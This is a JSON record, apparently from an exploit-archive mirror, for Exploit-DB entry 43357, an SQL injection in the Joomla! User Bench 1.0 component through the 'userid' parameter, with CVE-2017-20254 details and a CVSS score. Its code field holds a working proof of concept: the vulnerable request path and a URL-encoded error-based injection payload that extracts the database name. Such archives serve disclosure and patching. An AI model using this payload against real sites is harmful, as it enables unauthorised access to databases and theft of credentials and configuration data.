{"exploit":{"id":"EDB-43357","name":"Joomla! Component User Bench 1.0 - 'userid' SQL Injection (SQLi)","description":"Joomla! Component User Bench 1.0 - 'userid' SQL Injection (SQLi)","cves":["CVE-2017-20254"],"author":"Ihsan Sencan","published":"2017-12-18","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43357","path":"exploits/php/webapps/43357.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43357.txt","vulnerabilities":[{"id":"CVE-2017-20254","state":"PUBLISHED","title":"Joomla! Component User Bench 1.0 SQL Injection via userid","titleSource":"CVE Program","description":"Joomla! Component User Bench 1.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the userid parameter. Attackers can send GET requests to index.php with the option=com_userbench&view=detail&userid parameter containing SQL injection payloads to extract sensitive database information including credentials and configuration data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-20254","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2017-20254"},"updatedAt":"2026-10-01T15:19:02.756Z","retrievedAt":"2026-11-26T21:00:28.847Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43357.png?v=2","url":"https://exploitbin.com/exploits/EDB-43357","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43357/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43357/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# # # # #\n# Exploit Title: Joomla! Component User Bench 1.0 - SQL Injection\n# Dork: N/A\n# Date: 18.12.2017\n# Vendor Homepage: http://www.gegabyte.org/\n# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/user-bench/\n# Version: 1.0\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: N/A\n# # # # #\n# Exploit Author: Ihsan Sencan\n# Author Web: http://ihsan.net\n# Author Social: @ihsansencan\n# # # # #\n# Description:\n# The vulnerability allows an attacker to inject sql commands....\n#\n# Proof of Concept:\n#\n# 1)\n# http://localhost/[PATH]/index.php?option=com_userbench&view=detail&userid=[SQL]\n#\n# %20AND(SELECT%201%20FROM%20(SELECT%20COUNT(*)%2cCONCAT((SELECT(SELECT%20CONCAT(CAST(DATABASE()%20AS%20CHAR)%2c0x7e%2c0x496873616e53656e63616e))%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=DATABASE()%20LIMIT%200%2c1)%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)\n#\n# # # # #","sha256":"a1c15c6cc6f6efc0b129d0939cd7f4bd9aa629fa94488f1670db22c557550e41","bytes":974,"fetchedAt":"2026-11-27T03:08:58.635Z","encoding":"utf-8 (display only; download retains original bytes)"}